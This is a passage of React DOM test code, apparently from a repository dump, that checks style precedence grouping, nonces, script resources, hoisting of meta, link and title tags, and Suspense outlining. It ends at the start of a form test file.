value=\"second\">\n                    <style href=\"11\" precedence=\"default\">\n                      11\n                    </style>\n                    <style href=\"12\" precedence=\"foo\">\n                      foo12\n                    </style>\n                    <style href=\"13\" precedence=\"default\">\n                      13\n                    </style>\n                    <style href=\"14\" precedence=\"default\">\n                      14\n                    </style>\n                    <style href=\"15\" precedence=\"foo\">\n                      foo15\n                    </style>\n                    <div>second</div>\n                  </BlockedOn>\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"1 3 4\" data-precedence=\"default\">\n              134\n            </style>\n            <style data-href=\"2 5\" data-precedence=\"foo\">\n              foo2foo5\n            </style>\n          </head>\n          <body>\n            <div>initial</div>loading...\n          </body>\n        </html>,\n      );\n\n      // When we resolve first we flush the style tag because it is ready but we aren't yet ready to\n      // flush the entire boundary and reveal it.\n      await act(() => {\n        resolveText('first');\n      });\n      await act(() => {\n        resolveText('second');\n      });\n\n      // Some sets of styles were ready before the entire boundary and they got emitted as early as they were\n      // ready. The remaining styles were ready when the boundary finished and they got grouped as well\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"1 3 4\" data-precedence=\"default\">\n              134\n            </style>\n            <style data-href=\"6 8 9\" data-precedence=\"default\">\n              689\n            </style>\n            <style data-href=\"11 13 14\" data-precedence=\"default\">\n              111314\n            </style>\n            <style data-href=\"2 5\" data-precedence=\"foo\">\n              foo2foo5\n            </style>\n            <style data-href=\"7 10\" data-precedence=\"foo\">\n              foo7foo10\n            </style>\n            <style data-href=\"12 15\" data-precedence=\"foo\">\n              foo12foo15\n            </style>\n          </head>\n          <body>\n            <div>initial</div>\n            <div>first</div>\n            <div>second</div>\n          </body>\n        </html>,\n      );\n\n      // Client inserted style tags are not grouped together but can hydrate against a grouped set\n      ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <style href=\"1\" precedence=\"default\">\n              1\n            </style>\n            <style href=\"2\" precedence=\"foo\">\n              foo2\n            </style>\n            <style href=\"16\" precedence=\"default\">\n              16\n            </style>\n            <style href=\"17\" precedence=\"default\">\n              17\n            </style>\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"1 3 4\" data-precedence=\"default\">\n              134\n            </style>\n            <style data-href=\"6 8 9\" data-precedence=\"default\">\n              689\n            </style>\n            <style data-href=\"11 13 14\" data-precedence=\"default\">\n              111314\n            </style>\n            <style data-href=\"16\" data-precedence=\"default\">\n              16\n            </style>\n            <style data-href=\"17\" data-precedence=\"default\">\n              17\n            </style>\n            <style data-href=\"2 5\" data-precedence=\"foo\">\n              foo2foo5\n            </style>\n            <style data-href=\"7 10\" data-precedence=\"foo\">\n              foo7foo10\n            </style>\n            <style data-href=\"12 15\" data-precedence=\"foo\">\n              foo12foo15\n            </style>\n          </head>\n          <body>\n            <div>initial</div>\n            <div>first</div>\n            <div>second</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('warns if you render a <style> with an href with a space on the server', async () => {\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <style href=\"foo bar\" precedence=\"default\">\n                style\n              </style>\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'React expected the `href` prop for a <style> tag opting into hoisting semantics ' +\n          'using the `precedence` prop to not have any spaces but ecountered spaces instead. ' +\n          'using spaces in this prop will cause hydration of this style to fail on the client. ' +\n          'The href for the <style> where this ocurred is \"foo bar\".\\n' +\n          '    in style (at **)',\n      ]);\n    });\n\n    it('can emit styles with nonce', async () => {\n      const nonce = 'R4nD0m';\n      const fooCss = '.foo { color: hotpink; }';\n      const barCss = '.bar { background-color: blue; }';\n      const bazCss = '.baz { border: 1px solid black; }';\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Suspense>\n                <BlockedOn value=\"first\">\n                  <div>first</div>\n                  <style href=\"foo\" precedence=\"default\" nonce={nonce}>\n                    {fooCss}\n                  </style>\n                  <style href=\"bar\" precedence=\"default\" nonce={nonce}>\n                    {barCss}\n                  </style>\n                  <BlockedOn value=\"second\">\n                    <div>second</div>\n                    <style href=\"baz\" precedence=\"default\" nonce={nonce}>\n                      {bazCss}\n                    </style>\n                  </BlockedOn>\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>,\n          {nonce: {style: nonce}},\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body />\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('first');\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            <style\n              data-href=\"foo bar\"\n              data-precedence=\"default\"\n              media=\"not all\"\n              nonce={nonce}>\n              {`${fooCss}${barCss}`}\n            </style>\n          </body>\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('second');\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"foo bar\" data-precedence=\"default\" nonce={nonce}>\n              {`${fooCss}${barCss}`}\n            </style>\n            <style data-href=\"baz\" data-precedence=\"default\" nonce={nonce}>\n              {bazCss}\n            </style>\n          </head>\n          <body>\n            <div>first</div>\n            <div>second</div>\n          </body>\n        </html>,\n      );\n    });\n  });\n\n  describe('Script Resources', () => {\n    it('treats async scripts without onLoad or onError as Resources', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <head />\n            <body>\n              <script src=\"foo\" async={true} />\n              <script src=\"bar\" async={true} onLoad={() => {}} />\n              <script src=\"baz\" data-meaningful=\"\" />\n              <script src=\"qux\" defer={true} data-meaningful=\"\" />\n              hello world\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      // The plain async script is converted to a resource and emitted as part of the shell\n      // The async script with onLoad is preloaded in the shell but is expecting to be added\n      // during hydration. This is novel, the script is NOT a HostHoistable but it also will\n      // never hydrate\n      // The regular script is just a normal html that should hydrate with a HostComponent\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script src=\"foo\" async=\"\" />\n          </head>\n          <body>\n            <script src=\"bar\" async=\"\" />\n            <script src=\"baz\" data-meaningful=\"\" />\n            <script src=\"qux\" defer=\"\" data-meaningful=\"\" />\n            hello world\n          </body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <head />\n          <body>\n            <script src=\"foo\" async={true} />\n            <script src=\"bar\" async={true} onLoad={() => {}} />\n            <script src=\"baz\" data-meaningful=\"\" />\n            <script src=\"qux\" defer={true} data-meaningful=\"\" />\n            hello world\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      // The async script with onLoad is inserted in the right place but does not cause the hydration\n      // to fail.\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script src=\"foo\" async=\"\" />\n          </head>\n          <body>\n            <script src=\"bar\" async=\"\" />\n            <script src=\"baz\" data-meaningful=\"\" />\n            <script src=\"qux\" defer=\"\" data-meaningful=\"\" />\n            hello world\n          </body>\n        </html>,\n      );\n\n      root.unmount();\n      // When we unmount we expect to retain singletons and any content that is not cleared within them.\n      // The foo script is a resource so it sticks around. The other scripts are regular HostComponents\n      // so they unmount and are removed from the DOM.\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script src=\"foo\" async=\"\" />\n          </head>\n          <body />\n        </html>,\n      );\n    });\n\n    it('does not create script resources when inside an <svg> context', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <svg>\n                <path>\n                  <script async={true} src=\"foo\" />\n                </path>\n                <foreignObject>\n                  <script async={true} src=\"bar\" />\n                </foreignObject>\n              </svg>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"bar\" />\n          </head>\n          <body>\n            <svg>\n              <path>\n                <script async=\"\" src=\"foo\" />\n              </path>\n              <foreignobject />\n            </svg>\n          </body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.createRoot(document.body);\n      root.render(\n        <div>\n          <svg>\n            <path>\n              <script async={true} src=\"foo\" />\n            </path>\n            <foreignObject>\n              <script async={true} src=\"bar\" />\n            </foreignObject>\n          </svg>\n        </div>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div>\n          <svg>\n            <path>\n              <script async=\"\" src=\"foo\" />\n            </path>\n            <foreignobject />\n          </svg>\n        </div>,\n      );\n    });\n\n    it('does not create script resources when inside a <noscript> context', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <noscript>\n                <script async={true} src=\"foo\" />\n              </noscript>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            <noscript>\n              &lt;script async=\"\" src=\"foo\"&gt;&lt;/script&gt;\n            </noscript>\n          </body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.createRoot(document.body);\n      root.render(\n        <div>\n          <noscript>\n            <script async={true} src=\"foo\" />\n          </noscript>\n        </div>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div>\n          {/* On the client, <noscript> never renders children */}\n          <noscript />\n        </div>,\n      );\n    });\n  });\n\n  describe('Hoistables', () => {\n    it('can hoist meta tags on the server and hydrate them on the client', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <meta name=\"foo\" data-foo=\"data\" content=\"bar\" />\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <meta name=\"foo\" data-foo=\"data\" content=\"bar\" />\n          </head>\n          <body />\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <meta name=\"foo\" data-foo=\"data\" content=\"bar\" />\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <meta name=\"foo\" data-foo=\"data\" content=\"bar\" />\n          </head>\n          <body />\n        </html>,\n      );\n\n      root.render(\n        <html>\n          <body />\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body />\n        </html>,\n      );\n    });\n\n    it('can hoist meta tags on the client', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <meta name=\"foo\" data-foo=\"data\" content=\"bar\" />\n          </div>,\n        );\n      });\n      await waitForAll([]);\n\n      expect(getMeaningfulChildren(document.head)).toEqual(\n        <meta name=\"foo\" data-foo=\"data\" content=\"bar\" />,\n      );\n      expect(getMeaningfulChildren(container)).toEqual(<div />);\n\n      root.render(<div />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.head)).toEqual(undefined);\n    });\n\n    it('can hoist link (non-stylesheet) tags on the server and hydrate them on the client', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <link rel=\"foo\" data-foo=\"data\" href=\"foo\" />\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"foo\" data-foo=\"data\" href=\"foo\" />\n          </head>\n          <body />\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <link rel=\"foo\" data-foo=\"data\" href=\"foo\" />\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"foo\" data-foo=\"data\" href=\"foo\" />\n          </head>\n          <body />\n        </html>,\n      );\n\n      root.render(\n        <html>\n          <body />\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body />\n        </html>,\n      );\n    });\n\n    it('can hoist link (non-stylesheet) tags on the client', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <link rel=\"foo\" data-foo=\"data\" href=\"foo\" />\n          </div>,\n        );\n      });\n      await waitForAll([]);\n\n      expect(getMeaningfulChildren(document.head)).toEqual(\n        <link rel=\"foo\" data-foo=\"data\" href=\"foo\" />,\n      );\n      expect(getMeaningfulChildren(container)).toEqual(<div />);\n\n      root.render(<div />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.head)).toEqual(undefined);\n    });\n\n    it('can hoist title tags on the server and hydrate them on the client', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <title data-foo=\"foo\">a title</title>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <title data-foo=\"foo\">a title</title>\n          </head>\n          <body />\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <title data-foo=\"foo\">a title</title>\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <title data-foo=\"foo\">a title</title>\n          </head>\n          <body />\n        </html>,\n      );\n\n      root.render(\n        <html>\n          <body />\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body />\n        </html>,\n      );\n    });\n\n    it('can hoist title tags on the client', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <title data-foo=\"foo\">a title</title>\n          </div>,\n        );\n      });\n      await waitForAll([]);\n\n      expect(getMeaningfulChildren(document.head)).toEqual(\n        <title data-foo=\"foo\">a title</title>,\n      );\n      expect(getMeaningfulChildren(container)).toEqual(<div />);\n\n      root.render(<div />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.head)).toEqual(undefined);\n    });\n\n    it('prioritizes ordering for certain hoistables over others when rendering on the server', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <link rel=\"foo\" href=\"foo\" />\n              <meta name=\"bar\" />\n              <title>a title</title>\n              <link rel=\"preload\" href=\"foo\" as=\"style\" />\n              <link rel=\"preconnect\" href=\"bar\" />\n              <link rel=\"dns-prefetch\" href=\"baz\" />\n              <meta name=\"viewport\" />\n              <meta charSet=\"utf-8\" />\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            {/* charset first */}\n            <meta charset=\"utf-8\" />\n            {/* viewport meta next */}\n            <meta name=\"viewport\" />\n            {/* Everything else last */}\n            <link rel=\"foo\" href=\"foo\" />\n            <meta name=\"bar\" />\n            <title>a title</title>\n            <link rel=\"preload\" href=\"foo\" as=\"style\" />\n            <link rel=\"preconnect\" href=\"bar\" />\n            <link rel=\"dns-prefetch\" href=\"baz\" />\n          </head>\n          <body />\n        </html>,\n      );\n    });\n\n    it('supports rendering hoistables outside of <html> scope', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <>\n            <meta name=\"before\" />\n            <html>\n              <body>foo</body>\n            </html>\n            <meta name=\"after\" />\n          </>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <meta name=\"before\" />\n            <meta name=\"after\" />\n          </head>\n          <body>foo</body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(\n        document,\n        <>\n          <meta name=\"before\" />\n          <html>\n            <body>foo</body>\n          </html>\n          <meta name=\"after\" />\n        </>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <meta name=\"before\" />\n            <meta name=\"after\" />\n          </head>\n          <body>foo</body>\n        </html>,\n      );\n\n      root.render(\n        <>\n          {null}\n          <html>\n            <body>foo</body>\n          </html>\n          {null}\n        </>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>foo</body>\n        </html>,\n      );\n    });\n\n    it('can hydrate hoistable tags inside late suspense boundaries', async () => {\n      function App() {\n        return (\n          <html>\n            <body>\n              <link rel=\"rel1\" href=\"linkhref\" />\n              <link rel=\"rel2\" href=\"linkhref\" />\n              <meta name=\"name1\" content=\"metacontent\" />\n              <meta name=\"name2\" content=\"metacontent\" />\n              <Suspense fallback=\"loading...\">\n                <link rel=\"rel3\" href=\"linkhref\" />\n                <link rel=\"rel4\" href=\"linkhref\" />\n                <meta name=\"name3\" content=\"metacontent\" />\n                <meta name=\"name4\" content=\"metacontent\" />\n                <BlockedOn value=\"release\">\n                  <link rel=\"rel5\" href=\"linkhref\" />\n                  <link rel=\"rel6\" href=\"linkhref\" />\n                  <meta name=\"name5\" content=\"metacontent\" />\n                  <meta name=\"name6\" content=\"metacontent\" />\n                  <div>hello world</div>\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>\n        );\n      }\n      await act(() => {\n        renderToPipeableStream(<App />).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"rel1\" href=\"linkhref\" />\n            <link rel=\"rel2\" href=\"linkhref\" />\n            <meta name=\"name1\" content=\"metacontent\" />\n            <meta name=\"name2\" content=\"metacontent\" />\n            <link rel=\"rel3\" href=\"linkhref\" />\n            <link rel=\"rel4\" href=\"linkhref\" />\n            <meta name=\"name3\" content=\"metacontent\" />\n            <meta name=\"name4\" content=\"metacontent\" />\n          </head>\n          <body>loading...</body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(document, <App />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"rel1\" href=\"linkhref\" />\n            <link rel=\"rel2\" href=\"linkhref\" />\n            <meta name=\"name1\" content=\"metacontent\" />\n            <meta name=\"name2\" content=\"metacontent\" />\n            <link rel=\"rel3\" href=\"linkhref\" />\n            <link rel=\"rel4\" href=\"linkhref\" />\n            <meta name=\"name3\" content=\"metacontent\" />\n            <meta name=\"name4\" content=\"metacontent\" />\n          </head>\n          <body>loading...</body>\n        </html>,\n      );\n\n      const thirdPartyLink = document.createElement('link');\n      thirdPartyLink.setAttribute('href', 'linkhref');\n      thirdPartyLink.setAttribute('rel', '3rdparty');\n      document.body.prepend(thirdPartyLink);\n\n      const thirdPartyMeta = document.createElement('meta');\n      thirdPartyMeta.setAttribute('content', 'metacontent');\n      thirdPartyMeta.setAttribute('name', '3rdparty');\n      document.body.prepend(thirdPartyMeta);\n\n      await act(() => {\n        resolveText('release');\n      });\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"rel1\" href=\"linkhref\" />\n            <link rel=\"rel2\" href=\"linkhref\" />\n            <meta name=\"name1\" content=\"metacontent\" />\n            <meta name=\"name2\" content=\"metacontent\" />\n            <link rel=\"rel3\" href=\"linkhref\" />\n            <link rel=\"rel4\" href=\"linkhref\" />\n            <meta name=\"name3\" content=\"metacontent\" />\n            <meta name=\"name4\" content=\"metacontent\" />\n          </head>\n          <body>\n            <meta name=\"3rdparty\" content=\"metacontent\" />\n            <link rel=\"3rdparty\" href=\"linkhref\" />\n            <div>hello world</div>\n            <link rel=\"rel5\" href=\"linkhref\" />\n            <link rel=\"rel6\" href=\"linkhref\" />\n            <meta name=\"name5\" content=\"metacontent\" />\n            <meta name=\"name6\" content=\"metacontent\" />\n          </body>\n        </html>,\n      );\n\n      root.unmount();\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            <meta name=\"3rdparty\" content=\"metacontent\" />\n            <link rel=\"3rdparty\" href=\"linkhref\" />\n          </body>\n        </html>,\n      );\n    });\n\n    it('does not hoist inside an <svg> context', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <svg>\n                <title>svg title</title>\n                <link rel=\"svg link\" href=\"a\" />\n                <meta name=\"svg meta\" />\n                <path>\n                  <title>deep svg title</title>\n                  <meta name=\"deep svg meta\" />\n                  <link rel=\"deep svg link\" href=\"a\" />\n                </path>\n                <foreignObject>\n                  <title>hoistable title</title>\n                  <meta name=\"hoistable\" />\n                  <link rel=\"hoistable\" href=\"a\" />\n                </foreignObject>\n              </svg>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document.head)).toEqual([\n        <title>hoistable title</title>,\n        <meta name=\"hoistable\" />,\n        <link rel=\"hoistable\" href=\"a\" />,\n      ]);\n    });\n\n    it('does not hoist inside noscript context', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <title>title</title>\n              <link rel=\"link\" href=\"a\" />\n              <meta name=\"meta\" />\n              <noscript>\n                <title>noscript title</title>\n                <link rel=\"noscript link\" href=\"a\" />\n                <meta name=\"noscript meta\" />\n              </noscript>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document.head)).toEqual([\n        <title>title</title>,\n        <link rel=\"link\" href=\"a\" />,\n        <meta name=\"meta\" />,\n      ]);\n    });\n\n    it('can render a title before a singleton even if that singleton clears its contents', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <>\n            <title>foo</title>\n            <html>\n              <head />\n              <body>\n                <div>server</div>\n              </body>\n            </html>\n          </>,\n        );\n        pipe(writable);\n      });\n\n      const errors = [];\n      ReactDOMClient.hydrateRoot(\n        document,\n        <>\n          <title>foo</title>\n          <html>\n            <head />\n            <body>\n              <div>client</div>\n            </body>\n          </html>\n        </>,\n        {\n          onRecoverableError(err) {\n            errors.push(err.message);\n          },\n        },\n      );\n\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <title>foo</title>\n          </head>\n          <body>\n            <div>client</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('can update title tags', async () => {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<title data-foo=\"foo\">a title</title>);\n      });\n      await waitForAll([]);\n\n      expect(getMeaningfulChildren(document.head)).toEqual(\n        <title data-foo=\"foo\">a title</title>,\n      );\n\n      await act(() => {\n        root.render(<title data-foo=\"bar\">another title</title>);\n      });\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.head)).toEqual(\n        <title data-foo=\"bar\">another title</title>,\n      );\n    });\n  });\n\n  it('does not outline a boundary with suspensey CSS when flushing the shell', async () => {\n    // When flushing the shell, stylesheets with precedence are emitted in the\n    // <head> which blocks paint anyway. So there's no benefit to outlining the\n    // boundary — it would just show a higher-level fallback unnecessarily.\n    // Instead, the boundary should be inlined so the innermost fallback is shown.\n    let streamedContent = '';\n    writable.on('data', chunk => (streamedContent += chunk));\n\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <Suspense fallback=\"Outer Fallback\">\n              <Suspense fallback=\"Middle Fallback\">\n                <link rel=\"stylesheet\" href=\"style.css\" precedence=\"default\" />\n                <Suspense fallback=\"Inner Fallback\">\n                  <BlockedOn value=\"content\">Async Content</BlockedOn>\n                </Suspense>\n              </Suspense>\n            </Suspense>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    // The middle boundary should have been inlined (not outlined) so the\n    // middle fallback text should never appear in the streamed HTML.\n    expect(streamedContent).not.toContain('Middle Fallback');\n\n    // The stylesheet is in the head (blocks paint), and the innermost\n    // fallback is visible.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"style.css\" data-precedence=\"default\" />\n        </head>\n        <body>Inner Fallback</body>\n      </html>,\n    );\n\n    // Resolve the async content — streams in without needing to load CSS\n    // since the stylesheet was already in the head.\n    await act(() => {\n      resolveText('content');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"style.css\" data-precedence=\"default\" />\n        </head>\n        <body>Async Content</body>\n      </html>,\n    );\n  });\n\n  it('outlines a boundary with suspensey CSS when flushing a streamed completion', async () => {\n    // When a boundary completes via streaming (not as part of the shell),\n    // suspensey CSS should cause the boundary to be outlined. The parent\n    // content can show sooner while the CSS loads separately.\n    let streamedContent = '';\n    writable.on('data', chunk => (streamedContent += chunk));\n\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <Suspense fallback=\"Root Fallback\">\n              <BlockedOn value=\"shell\">\n                <Suspense fallback=\"Outer Fallback\">\n                  <Suspense fallback=\"Middle Fallback\">\n                    <link\n                      rel=\"stylesheet\"\n                      href=\"style.css\"\n                      precedence=\"default\"\n                    />\n                    <Suspense fallback=\"Inner Fallback\">\n                      <BlockedOn value=\"content\">Async Content</BlockedOn>\n                    </Suspense>\n                  </Suspense>\n                </Suspense>\n              </BlockedOn>\n            </Suspense>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    // Shell is showing root fallback\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>Root Fallback</body>\n      </html>,\n    );\n\n    // Unblock the shell — content streams in. The middle boundary should\n    // be outlined because the CSS arrived via streaming, not in the shell head.\n    streamedContent = '';\n    await act(() => {\n      resolveText('shell');\n    });\n\n    // The middle fallback should appear in the streamed HTML because the\n    // boundary was outlined.\n    expect(streamedContent).toContain('Middle Fallback');\n\n    // The CSS needs to load before the boundary reveals. Until then\n    // the middle fallback is visible.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"style.css\" data-precedence=\"default\" />\n        </head>\n        <body>\n          {'Middle Fallback'}\n          <link rel=\"preload\" href=\"style.css\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    // Load the stylesheet — now the middle boundary can reveal\n    await act(() => {\n      loadStylesheets();\n    });\n    assertLog(['load stylesheet: style.css']);\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"style.css\" data-precedence=\"default\" />\n        </head>\n        <body>\n          {'Inner Fallback'}\n          <link rel=\"preload\" href=\"style.css\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    // Resolve the async content\n    await act(() => {\n      resolveText('content');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"style.css\" data-precedence=\"default\" />\n        </head>\n        <body>\n          {'Async Content'}\n          <link rel=\"preload\" href=\"style.css\" as=\"style\" />\n        </body>\n      </html>,\n    );\n  });\n\n  // @gate enableViewTransition\n  it('still outlines a boundary with a suspensey image inside a ViewTransition when flushing the shell', async () => {\n    // Unlike stylesheets (which block paint from the <head> anyway), images\n    // inside ViewTransitions are outlined to enable animation reveals. This\n    // should happen even during the shell flush.\n    const ViewTransition = React.ViewTransition;\n\n    let streamedContent = '';\n    writable.on('data', chunk => (streamedContent += chunk));\n\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <ViewTransition>\n              <Suspense fallback=\"Image Fallback\">\n                <link rel=\"stylesheet\" href=\"style.css\" precedence=\"default\" />\n                <img src=\"large-image.jpg\" />\n                <div>Content</div>\n              </Suspense>\n            </ViewTransition>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    // The boundary should be outlined because the suspensey image motivates\n    // outlining for animation reveals, even during the shell flush.\n    expect(streamedContent).toContain('Image Fallback');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMForm-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nglobal.IS_REACT_ACT_ENVIRONMENT = true;\n\n// Our current version of JSDOM doesn't implement the event dispatching\n// so we polyfill it.\nconst NativeFormData = global.FormData;\nconst FormDataPolyfill = function FormData(form, submitter) {\n  const formData = new NativeFormData(form, submitter);\n  const formDataEvent = new Event('formdata', {\n    bubbles: true,\n    cancelable: false,\n  });\n  formDataEvent.formData = formData;\n  form.dispatchEvent(formDataEvent);\n  return formData;\n};\nNativeFormData.prototype.constructor = FormDataPolyfill;\nglobal.FormData = FormDataPolyfill;\n\ndescribe('ReactDOMForm', () => {\n  let act;\n  let container;\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let Scheduler;\n  let assertLog;\n  let assertConsoleErrorDev;\n  let waitForThrow;\n  let useState;\n  let Suspense;\n  let startTransition;\n  let useTransition;\n  let use;\n  let textCache;\n  let useFormStatus;\n  let useActionState;\n  let requestFormReset;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    waitForThrow = require('internal-test-utils').waitForThrow;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    useState = React.useState;\n    Suspense = React.Suspense;\n    startTransition = React.startTransition;\n    useTransition = React.useTransition;\n    use = React.use;\n    useFormStatus = 